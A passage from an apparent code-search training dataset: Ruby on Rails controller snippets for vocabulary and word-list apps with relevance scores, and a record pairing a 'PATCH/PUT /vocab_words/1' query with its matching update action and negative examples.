"def create\n @word = Word.new(word_params)\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to root_path, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n \n parameters = {\n headers: {\n \"Accept\": \"application/json\",\n \"app_id\": \"#{ENV['oed_app_id']}\",\n \"app_key\": \"#{ENV['oed_app_key']}\",\n }\n }\n \n # response = HTTParty.get(\"https://od-api.oxforddictionaries.com:443/api/v1/entries/en/#{params[:word]}\", parameters)\n \n \n # @definition = response['results'][0]['lexicalEntries'][0]['entries'][0]['senses'][0]['definitions'][0]\n\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dictionary_params\n params.require(:dictionary).permit(:word, :pronunciation, :example, :meaning, :word_tag_relation_ships_attributes => :tag_id)\n end",
"def word_set_params\n # raise params.to_h.to_yaml\n params.require(:word_set).permit(words: [[:text, :display_text]]).tap do |p|\n p[:words] = p[:words].reject{|w|w[:text].blank?}.map do |w|\n w[:word_set_id] = @word_set.id\n w[:word_set] = @word_set\n Word.new(w)\n end\n end\n end",
"def word_params\n params.require(:word).permit(:word, :title, :creation_date, :published, :content, :author)\n end",
"def update\n logger.debug \"-----update-----\"\n respond_to do |format|\n if @vocab_word.update(vocab_word_params)\n format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocab_word }\n else\n format.html { render :edit }\n format.json { render json: @vocab_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ojibwe_word_params\n params.require(:ojibwe_word).permit(:english_word, :ojibwe_translation, :word_type, :catagory, :dictionary, :dialect_locale)\n end",
"def destroy\n @word.destroy\n respond_to do |format|\n format.html { redirect_to vocab_list_path }\n format.json { head :no_content }\n end\n end",
"def create\n @term = @vocabulary.vocabulary_terms.build(term_params)\n authorize @term, policy_class: VocabularyPolicy\n begin\n @term.save!\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @term.errors.any? ? @term : e },\n status: :bad_request\n else\n toast!(title: \"Term created\",\n message: \"The vocabulary term \\\"#{@term.displayed_value}\\\" has \"\\\n \"been created.\")\n render \"shared/reload\"\n end\n end",
"def update\n respond_to do |format|\n if @vocab.update(vocab_params)\n format.html { redirect_to @vocab, notice: \"Vocab was successfully updated.\" }\n format.json { render :show, status: :ok, location: @vocab }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocabulary = Vocabulary.new(vocabulary_params)\n authorize @vocabulary\n begin\n @vocabulary.save!\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @vocabulary.errors.any? ? @vocabulary : e },\n status: :bad_request\n else\n toast!(title: \"Vocabulary created\",\n message: \"The vocabulary \\\"#{@vocabulary.name}\\\" has been created.\")\n render \"shared/reload\"\n end\n end",
"def vocabulary_params\n params.require(:vocabulary).permit(:label, :parent_id)\n end",
"def word_example_params\n params.require(:word_example).permit(:sentence, :word_list_id)\n end",
"def frequency_vocabulary_params\n params.require(:frequency_vocabulary).permit(:text, :book_id)\n end",
"def wording_params\n\t\t\tparams.require(:wording).permit!\n\t\tend",
"def create\n @word_list = WordList.new(word_list_params)\n\n respond_to do |format|\n if @word_list.save\n format.html { redirect_to @word_list, notice: 'Word list was successfully created.' }\n format.json { render :show, status: :created, location: @word_list }\n else\n format.html { render :new }\n format.json { render json: @word_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vocabulary_term_params\n params.require(:vocabulary_term).permit(:label, :uri, :code, :tgm_label, :lcsh_label, :vocabulary_id)\n end",
"def controlled_vocabulary_params\n params.require(:controlled_vocabulary).permit(:string_key, :display_label, :require_controlled_vocabulary_manager_permission)\n end",
"def create\n @word = Word.new(word_params)\n @word.user_id = current_user.id\n if @word.save!\n render :show, status: :created\n else\n render json: @word.errors, status: :unprocessable_entity\n end\n end",
"def create\n @key_word = KeyWord.new(params[:key_word])\n\n respond_to do |format|\n if @key_word.save\n format.html { redirect_to @key_word, notice: 'Key word was successfully created.' }\n format.json { render json: @key_word, status: :created, location: @key_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def word_params\n params.require(:word).permit(:name, :desc, :user, :removed)\n end",
"def new_word_params\n params[:new_word]\n params.require(:new_word).permit(:word_name)\n end",
"def ms_word_params\n params.require(:ms_word).permit(:word)\n end",
"def word_params\n params.require(:word).permit(:title, :description, :user_id)\n end",
"def create\n\n @word = Word.new(word_params)\n word_params[:meanings_attributes][:word_id] = @word.id\n\n if word_params[:synonymous_attributes]!=nil\n word_params[:synonymous_attributes][:word_id] = @word.id\n end\n\n respond_to do |format|\n if @word.save\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render :show, status: :created, location: @word }\n else\n format.html { render :new }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @keywords = Keyword.all\n\n # @new_kw = Keyword.new\n# \n # @new_kw.words = \"米国 米 アメリカ\"\n # @new_kw.save\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @keywords }\n end\n end",
"def perform(id, texts, is_tokenized: false)\n params = { id: id, texts: texts, is_tokenized: is_tokenized }\n response = HTTP.post(\"#{@host}/encode\", json: params)\n embeddings = JSON.parse(response.to_s)['result']\n embeddings\n end",
"def create\n @word = Word.new(word_params)\n @word.user = current_user\n\n respond_to do |format|\n if @word.save\n handle_tags\n format.html { redirect_to @word, notice: 'Word was successfully created.' }\n format.json { render action: 'show', status: :created, location: @word }\n else\n format.html { render action: 'new' }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def spanish_word_params\n params.require(:spanish_word).permit(:neutral, :neutral_plural, :male, :male_plural, :female, :female_plural, :kind, :english_word_id)\n end",
"def destroy\n @vocab.destroy\n respond_to do |format|\n format.html { redirect_to vocabs_url, notice: \"Vocab was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def create\n @learnwordlist = Learnwordlist.new(learnwordlist_params)\n\n respond_to do |format|\n if @learnwordlist.save\n format.html { redirect_to @learnwordlist, notice: 'Learnwordlist was successfully created.' }\n format.json { render :show, status: :created, location: @learnwordlist }\n else\n format.html { render :new }\n format.json { render json: @learnwordlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_sample_controlled_vocab_terms_attributes(array)\n attributes = []\n array.each do |type|\n attributes << { label: type }\n end\n attributes\nend",
"def word_params\n params.require(:word).permit(:name, :is_fr, :is_li,\n :prononciation, :root, :structure, :role,\n :contributor_id, :source, :is_validated,\n :image, :image_title, :image_description, :image_url)\n end",
"def create\n @serach_word = SerachWord.new(params[:serach_word])\n\n respond_to do |format|\n if @serach_word.save\n format.html { redirect_to @serach_word, notice: 'Serach word was successfully created.' }\n format.json { render json: @serach_word, status: :created, location: @serach_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @serach_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_words\n\t\t @word_weight.each do |word, weight|\n\t\t \t@db.update_or_create_word(word, @filename, weight, @word_frequency[word])\n\t\t end\n\t\tend",
"def destroy\n @controlled_vocabulary.destroy\n respond_to do |format|\n format.html { redirect_to controlled_vocabularies_url }\n format.json { head :no_content }\n end\n end",
"def train!(word_list)\n word_list.each do |s|\n @dictionary[s] += 1\n end\n end",
"def word_params\n params.require(:word).permit( :user_id,\n :language,\n :untranslated_word,\n :translated_word,\n :user_phonem,\n :common_rank,\n :audio_link,)\n end",
"def dictionary_params\n params.require(:dictionary).permit(:title)\n end",
"def learnwordlist_params\n params.require(:learnwordlist).permit(:user_id, :wordlist_id)\n end",
"def create\n @words_page = WordsPage.new(params[:words_page])\n\n respond_to do |format|\n if @words_page.save\n format.html { redirect_to @words_page, notice: 'Words page was successfully created.' }\n format.json { render json: @words_page, status: :created, location: @words_page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @words_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:format]==nil\n user=current_user\n else\n user= current_user\n deny_access if user.nil?\n end\n if params[:word].nil?\n return\n end\n userid = params[:user_id]\n single_word = params[:word][:word].strip()\n old_word = Word.find_by_word_and_user_id(single_word, userid)\n if old_word==nil\n @word = Word.create({:word=>single_word, :user_id => userid})\n @word.translate!\n operation_success=@word.save\n @word.add_tag_by_name('unfamiliar')\n else\n @word = old_word\n operation_success=@word.update_attribute(:updated_at, Time.now)\n @word.save\n end\n\n if operation_success\n respond_to do |format|\n format.json { render :json => @word, :status => :created }\n format.html { redirect_to(user_path(@word.user).to_s) }\n end\n end\n end",
"def create\n @ms_word = MsWord.new(ms_word_params)\n\n respond_to do |format|\n if @ms_word.save\n format.html { redirect_to @ms_word, notice: 'Ms word was successfully created.' }\n format.json { render :show, status: :created, location: @ms_word }\n else\n format.html { render :new }\n format.json { render json: @ms_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @key_word_set = KeyWordSet.new(params[:key_word_set])\n\n respond_to do |format|\n if @key_word_set.save\n format.html { redirect_to @key_word_set, notice: 'Key word set was successfully created.' }\n format.json { render json: @key_word_set, status: :created, location: @key_word_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_word_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @word = Word.new(params[:word])\n\n respond_to do |format|\n if @word.save\n flash[:notice] = 'Word was successfully created.'\n format.html { redirect_to(@word) }\n format.xml { render :xml => @word, :status => :created, :location => @word }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @word.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @frequency_vocabularies = FrequencyVocabulary.all\n end",
"def create\n @dictionary = @language.dictionaries.new(dictionary_params)\n\n respond_to do |format|\n if @dictionary.save\n #binding.pry\n #@dictionary.word_tag_relation_ships.create(params[:dictionaris][:tag_id])\n format.html { redirect_to user_language_dictionary_path(@user, @language, @dictionary), notice: 'Dictionary was successfully created.' }\n format.json { render :show, status: :created, location: @dictionary }\n else\n format.html { render :new }\n format.json { render json: @dictionary.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.72978127",
"0.7191699",
"0.69026977",
"0.6883259",
"0.6792142",
"0.6653299",
"0.64842373",
"0.64377415",
"0.6390551",
"0.6366225",
"0.6343987",
"0.62779063",
"0.62092596",
"0.6204751",
"0.61958855",
"0.6194163",
"0.61762506",
"0.6145415",
"0.6140732",
"0.61377466",
"0.61341524",
"0.61326116",
"0.61249655",
"0.6121076",
"0.6121013",
"0.6117094",
"0.61163265",
"0.61148393",
"0.61148393",
"0.6090932",
"0.60846734",
"0.6080875",
"0.60798436",
"0.607975",
"0.6079068",
"0.60605305",
"0.60501045",
"0.60501045",
"0.60501045",
"0.6047724",
"0.6042927",
"0.6016282",
"0.6013252",
"0.6000468",
"0.59871596",
"0.5983681",
"0.5972142",
"0.5966618",
"0.5965504",
"0.5965504",
"0.5957043",
"0.5948128",
"0.5942951",
"0.59374523",
"0.59293246",
"0.5914508",
"0.59076476",
"0.5902624",
"0.58974254",
"0.589308",
"0.5888965",
"0.5882208",
"0.5881232",
"0.5874921",
"0.5871867",
"0.5826136",
"0.5823551",
"0.5801927",
"0.5789041",
"0.57867247",
"0.5782966",
"0.57657105",
"0.5763426",
"0.576053",
"0.5751272",
"0.5744967",
"0.5738866",
"0.5733051",
"0.5731899",
"0.57083786",
"0.5706654",
"0.5705397",
"0.5702083",
"0.5697884",
"0.5691572",
"0.5671808",
"0.5671759",
"0.56665504",
"0.565452",
"0.5650106",
"0.56476706",
"0.56424475",
"0.5635389",
"0.5628561",
"0.561939",
"0.56181407",
"0.5613288",
"0.56130683",
"0.5604624",
"0.5602176"
] |
0.6960612
|
2
|
PATCH/PUT /vocab_words/1 PATCH/PUT /vocab_words/1.json
|
def update
logger.debug "-----update-----"
respond_to do |format|
if @vocab_word.update(vocab_word_params)
format.html { redirect_to @vocab_word, notice: 'Vocab word was successfully updated.' }
format.json { render :show, status: :ok, location: @vocab_word }
else
format.html { render :edit }
format.json { render json: @vocab_word.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @vocab.update(vocab_params)\n format.html { redirect_to @vocab, notice: \"Vocab was successfully updated.\" }\n format.json { render :show, status: :ok, location: @vocab }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vocab = Vocab.find(params[:id])\n\n respond_to do |format|\n if @vocab.update_attributes(params[:vocab])\n format.html { redirect_to(@vocab, :notice => 'Vocab was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @spanish_vocab = SpanishVocab.find(params[:id])\n\n respond_to do |format|\n if @spanish_vocab.update_attributes(params[:spanish_vocab])\n format.html { redirect_to @spanish_vocab, notice: 'Spanish vocab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spanish_vocab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n\n if @word.update_attributes(params[:word])\n format.json { head :no_content }\n else\n format.json { render :json => @word.errors,\n :status => :unprocessable_entity }\n end\n\n end\n end",
"def set_vocab_word\n logger.debug \"-----set_vocab_word----- \" + params[:id].to_s\n @vocab_word = VocabWord.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @controlled_vocabulary.update(controlled_vocabulary_params)\n format.html { redirect_to edit_controlled_vocabulary_path(@controlled_vocabulary), notice: 'Controlled vocabulary was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @controlled_vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vocab\n @vocab = Vocab.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @vocabulary.update(vocabulary_params)\n format.html { redirect_to @vocabulary, notice: 'Vocabulary was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocabulary }\n else\n format.html { render :edit }\n format.json { render json: @vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n if @word.update_attributes(params[:word])\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n if @word.update_attributes(params[:word])\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n if @word.update_attributes(params[:word])\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n if @word.update_attributes(params[:word])\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vocabulaire.update(vocabulaire_params)\n format.html { redirect_to @vocabulaire, notice: 'Vocabulaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vocabulaire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n params = fill_optional_fields(word_params)\n if @word.update(params)\n format.html { redirect_to action: 'index', notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @key_word = KeyWord.find(params[:id])\n\n respond_to do |format|\n if @key_word.update_attributes(params[:key_word])\n format.html { redirect_to @key_word, notice: 'Key word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vocabtype = Vocabtype.find(params[:id])\n\n respond_to do |format|\n if @vocabtype.update_attributes(params[:vocabtype])\n format.html { redirect_to(@vocabtype, :notice => 'Vocabtype was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vocabtype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @word.update(word_params)\n render :show, status: :ok\n else\n render json: @word.errors, status: :unprocessable_entity\n end\n end",
"def vocab_word_params\n params.require(:vocab_word).permit(:id, :word, :lesson)\n end",
"def update\n @key_word_set = KeyWordSet.find(params[:id])\n\n respond_to do |format|\n if @key_word_set.update_attributes(params[:key_word_set])\n format.html { redirect_to @key_word_set, notice: 'Key word set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_word_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n @vocabulary.update!(vocabulary_params)\n rescue => e\n render partial: \"shared/validation_messages\",\n locals: { object: @vocabulary.errors.any? ? @vocabulary : e },\n status: :bad_request\n else\n toast!(title: \"Vocabulary updated\",\n message: \"The vocabulary \\\"#{@vocabulary.name}\\\" has been updated.\")\n render \"shared/reload\"\n end\n end",
"def update\n\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to root_path, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json do\n render json: @word.errors.full_messages, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @frequency_vocabulary.update(frequency_vocabulary_params)\n format.html { redirect_to @frequency_vocabulary, notice: 'Frequency vocabulary was successfully updated.' }\n format.json { render :show, status: :ok, location: @frequency_vocabulary }\n else\n format.html { render :edit }\n format.json { render json: @frequency_vocabulary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word = Word.find(params[:id])\n\n respond_to do |format|\n if @word.update_attributes(params[:word])\n flash[:notice] = 'Word was successfully updated.'\n format.html { redirect_to(@word) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @word.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { render :show, status: :ok, location: @word }\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vocabulary_term.update(vocabulary_term_params)\n format.html { redirect_to @vocabulary_term, notice: 'Vocabulary term was successfully updated.' }\n format.json { render :show, status: :ok, location: @vocabulary_term }\n else\n format.html { render :edit }\n format.json { render json: @vocabulary_term.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @word.update_attributes(update_word_params)\n alert_js('SUCCESS word updated.')\n else\n alert_js('!!!ERROR updating word!!!')\n end\n end",
"def update\n @lsa_training_unique_word = LsaTrainingUniqueWord.find(params[:id])\n\n respond_to do |format|\n if @lsa_training_unique_word.update_attributes(params[:lsa_training_unique_word])\n format.html { redirect_to @lsa_training_unique_word, notice: 'Lsa training unique word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lsa_training_unique_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # raise params.to_h.to_yaml\n\n respond_to do |format|\n if @word_set.update(word_set_params)\n format.html { redirect_to @word_set, info: 'Word set was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @word_set }\n else\n format.html { render action: 'edit' }\n format.json { render json: @word_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vocab_params\n params.require(:vocab).permit(:prefix, :uri)\n end",
"def update\n @serach_word = SerachWord.find(params[:id])\n\n respond_to do |format|\n if @serach_word.update_attributes(params[:serach_word])\n format.html { redirect_to @serach_word, notice: 'Serach word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serach_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word_list = WordList.find(params[:id])\n\n respond_to do |format|\n if @word_list.update_attributes(params[:word_list])\n format.html { redirect_to @word_list, notice: 'Word list was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @headword = Headword.find(params[:id])\n\n respond_to do |format|\n if @headword.update(params.fetch(:headword, {}).permit(allowed_params))\n flash[:notice] = 'Headword was successfully updated.'\n format.html { redirect_to(@headword) }\n format.xml { head :ok }\n else\n format.html { render action: 'edit' }\n format.xml { render xml: @headword.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @flagged_word = FlaggedWord.find(params[:id])\n\n respond_to do |format|\n if @flagged_word.update_attributes(params[:flagged_word])\n format.html { redirect_to @flagged_word, notice: 'Flagged word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @flagged_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @words = args[:words] if args.key?(:words)\n end",
"def update\n @secret_word = SecretWord.find(params[:id])\n\n respond_to do |format|\n if @secret_word.update_attributes(params[:secret_word])\n format.html { redirect_to @secret_word, notice: 'Secret word was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @secret_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n check_access\n tags_before_change = @word.tags\n respond_to do |format|\n if @word.update(word_params)\n handle_tags(tags_before_change)\n format.html { redirect_to @word, notice: 'Word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tunless @custom_word = @user.custom_words.find_by_word(params[:id])\n\t\t\trespond_with( {:error => 'You have not used this word before.' }, :status => 404 )\n\t\t\treturn\n\t\tend\n\t\t@custom_word.update_attribute( :correct, params[:correct] )\n\t\trespond_with @custom_word \n\tend",
"def update\n @translated_word = TranslatedWord.find(params[:id])\n\n respond_to do |format|\n if @translated_word.update_attributes(params[:translation])\n format.json { head :no_content }\n else\n format.json { render :json => @translated_word.errors,\n :status => :unprocessable_entity }\n end\n\n end\n end",
"def update\n respond_to do |wants|\n if @word.update_attributes(params[:word])\n flash[:notice] = 'Word was successfully updated.'\n wants.html { redirect_to(@word) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @word.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @wordlist = Wordlist.find(params[:id])\n\n respond_to do |format|\n if @wordlist.update_attributes(params[:wordlist])\n flash[:notice] = 'Wordlist was successfully updated.'\n format.html { redirect_to(@wordlist) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wordlist.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ms_word.update(ms_word_params)\n format.html { redirect_to @ms_word, notice: 'Ms word was successfully updated.' }\n format.json { render :show, status: :ok, location: @ms_word }\n else\n format.html { render :edit }\n format.json { render json: @ms_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @word_list.update(word_list_params)\n format.html { redirect_to @word_list, notice: 'Word list was successfully updated.' }\n format.json { render :show, status: :ok, location: @word_list }\n else\n format.html { render :edit }\n format.json { render json: @word_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vocabulaire\n @vocabulaire = Vocabulaire.find(params[:id])\n end",
"def update\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n\trespond_to do |format|\n if @question.update(question_param)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\t\n end",
"def update\n @filtered_word = FilteredWord.find(params[:id])\n\n respond_to do |format|\n if @filtered_word.update_attributes(params[:filtered_word])\n format.html { redirect_to @filtered_word, notice: 'Filtered word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @filtered_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lsa_test_word = LsaTestWord.find(params[:id])\n\n respond_to do |format|\n if @lsa_test_word.update_attributes(params[:lsa_test_word])\n format.html { redirect_to @lsa_test_word, notice: 'Lsa test word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lsa_test_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paper_word = PaperWord.find(params[:id])\n\n respond_to do |format|\n if @paper_word.update_attributes(params[:paper_word])\n format.html { redirect_to @paper_word, notice: 'Paper word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paper_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @dictionary = Dictionary.find(params[:id])\n\n respond_to do |format|\n if @dictionary.update_attributes(params[:dictionary])\n format.html { redirect_to @dictionary, notice: 'Competency was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dictionary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @learnwordlist.update(learnwordlist_params)\n format.html { redirect_to @learnwordlist, notice: 'Learnwordlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @learnwordlist }\n else\n format.html { render :edit }\n format.json { render json: @learnwordlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @go_term = GoTerm.find(params[:id])\n\n respond_to do |format|\n if @go_term.update_attributes(params[:go_term])\n format.html { redirect_to @go_term, notice: 'Go term was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_term.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @word.update(word_params)\n format.html \n format.js\n else\n format.html { render :edit }\n format.json { render json: @word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n render partial: \"vocabularies/form\",\n locals: { vocabulary: @vocabulary }\n end",
"def update\n @word_count = WordCount.find(params[:id])\n\n respond_to do |format|\n if @word_count.update_attributes(params[:word_count])\n format.html { redirect_to @word_count, notice: 'Word count was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word_count.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @words_page = WordsPage.find(params[:id])\n\n respond_to do |format|\n if @words_page.update_attributes(params[:words_page])\n format.html { redirect_to @words_page, notice: 'Words page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @words_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @result_word = ResultWord.find(params[:id])\n\n respond_to do |format|\n if @result_word.update_attributes(params[:result_word])\n format.html { redirect_to @result_word, notice: 'Result word was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @result_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @word_pair = WordPair.find(params[:id])\n\n respond_to do |format|\n if @word_pair.update_attributes(params[:word_pair])\n flash[:notice] = 'Word pair was successfully updated.'\n format.html { redirect_to @word_pair }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @word_pair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vocabulary\n @vocabulary = Vocabulary.find(params[:id])\n end",
